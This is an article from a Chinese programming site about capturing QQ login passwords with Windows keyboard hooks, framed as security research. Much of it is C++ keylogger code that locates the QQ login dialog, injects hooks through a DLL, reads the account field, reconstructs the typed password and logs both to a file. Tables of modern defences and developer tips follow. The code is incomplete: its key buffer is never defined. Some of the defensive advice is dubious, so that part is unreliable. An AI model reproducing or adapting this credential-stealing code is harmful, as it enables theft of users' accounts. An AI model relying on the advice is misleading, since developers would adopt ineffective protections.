首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> C語言 >> VC >> VC++

關於 QQ 密碼獲取技術的安全分析與防護(純技術探討)

     編輯:VC++

聲明:本文僅從安全研究角度分析鍵盤鉤子原理,嚴禁用於非法獲取他人憑證。請遵守法律法規,尊重用戶隱私。

背景

早期即時通訊軟體(如 QQ 2005)登入介面採用標準 Windows 對話框,密碼輸入框為普通 Edit 控件,未啟用安全輸入模式。這使得本地鉤子技術可攔截鍵盤消息。現代應用普遍採用虛擬鍵盤、輸入法保護、記憶體加密等對策,本文所述技術已失效。

技術原理解析

1. 目標窗口定位


// 定時器輪詢查找登入對話框
SetTimer(hDlg, ID_TIMER, 1000, NULL);

void OnTimer() {
    if (!IsWindow(g_hQQLogin)) {
        HWND hBtn = NULL;
        do {
            g_hQQLogin = FindWindowEx(NULL, g_hQQLogin, _T("#32770"), NULL); // 標準對話框類
            hBtn = FindWindowEx(g_hQQLogin, NULL, _T("Button"), _T("登錄")); // 特徵按鈕
        } while (g_hQQLogin && !hBtn);
        
        if (g_hQQLogin) InstallHook(g_hQQLogin);
    }
}

2. 全域鉤子注入 (DLL 必須)


// HookDll.cpp
HINSTANCE g_hInst;
HHOOK g_hHookKey = NULL, g_hHookMsg = NULL;
HWND g_hTarget = NULL, g_hPwdEdit = NULL;

BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID) {
    if (reason == DLL_PROCESS_ATTACH) g_hInst = hInst;
    return TRUE;
}

extern "C" __declspec(dllexport) BOOL InstallHook(HWND hWnd) {
    if (!hWnd) { Unhook(); return TRUE; }
    g_hTarget = hWnd;
    DWORD tid = GetWindowThreadProcessId(hWnd, NULL);
    g_hPwdEdit = GetDlgItem(hWnd, 180); // 密碼框控件 ID(版本相關)
    
    g_hHookKey = SetWindowsHookEx(WH_KEYBOARD, KeyProc, g_hInst, tid);
    g_hHookMsg = SetWindowsHookEx(WH_CALLWNDPROC, MsgProc, g_hInst, tid);
    return g_hHookKey && g_hHookMsg;
}

extern "C" __declspec(dllexport) void Unhook() {
    UnhookWindowsHookEx(g_hHookKey); g_hHookKey = NULL;
    UnhookWindowsHookEx(g_hHookMsg); g_hHookMsg = NULL;
}

3. 鉤子回調處理


// 鍵盤鉤子:記錄按鍵
LRESULT CALLBACK KeyProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode >= 0 && wParam == VK_RETURN) { // Enter 鍵觸發
        ExtractPassword();
    }
    return CallNextHookEx(g_hHookKey, nCode, wParam, lParam);
}

// 訊息鉤子:捕獲「登錄」按鈕點擊
LRESULT CALLBACK MsgProc(int nCode, WPARAM, LPARAM lParam) {
    if (nCode >= 0) {
        CWPSTRUCT* p = (CWPSTRUCT*)lParam;
        if (p->message == WM_COMMAND && p->wParam == 16032) { // 登錄按鈕 ID
            ExtractPassword();
        }
    }
    return CallNextHookEx(g_hHookMsg, nCode, wParam, lParam);
}

4. 密碼提取邏輯


void ExtractPassword() {
    TCHAR szNum[16], szPwd[32], szOut[64];
    GetWindowText(GetDlgItem(g_hTarget, 138), szNum, 16); // 帳號框
    
    // 從鍵盤緩衝區重構密碼(簡化版)
    // 實際需處理大小寫、Backspace、輸入法組合鍵等
    for (int i = 0; i < 20; ++i) szPwd[i] = (TCHAR)g_keyBuf[i].wParam;
    
    wsprintf(szOut, _T("帳號:%s 密碼:%s"), szNum, szPwd);
    WriteLog(szOut); // 寫入檔案
}

現代防護機制

防護技術原理對鉤子的影響
安全桌面 (Secure Desktop)UAC 提權、系統關鍵對話框運行於隔離桌面普通進程無法 SetWindowsHookEx 進入
UIPI (User Interface Privilege Isolation)低完整性進程不能向高完整性進程注入鉤子阻止跨權限鉤子注入
虛擬鍵盤 / 安全輸入法密碼不經鍵盤硬體中斷,直接由安全模組輸入鍵盤鉤子捕獲不到有效字符
記憶體加密 / DPAPI密碼在記憶體中加密存儲,僅授權模組可解密即使掃描記憶體也無法獲取明文
控件子類化保護密碼框設置 ES_PASSWORD 樣式,系統不發送 WM_CHAR 等消息GetWindowText 返回掩碼字符而非明文

開發者最佳實踐

  1. 登入介面使用 CreateWindowEx 指定 WS_EX_LAYERED 或自定義繪製。
  2. 密碼輸入框啟用 ES_PASSWORD 並調用 SendMessage(hEdit, EM_SETPASSWORDCHAR, '*', 0)。
  3. 敏感操作調用 CredUIPromptForCredentials 使用系統憑證管理器。
  4. 啟用 UIPI:清單文件聲明 uiAccess="true" 並簽名。

總結

鍵盤鉤子是 Windows 消息機制的合法功能,廣泛用於熱鍵、無障礙工具、輸入法等正當場景。但針對未加保護的輸入框進行憑證竊取屬於惡意軟體行為。現代 Windows 通過多層防護已有效緩解此類威脅。作為開發者,應採用安全編碼規範保護用戶數據;作為用戶,應使用正規安全軟體並警惕不明程序。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved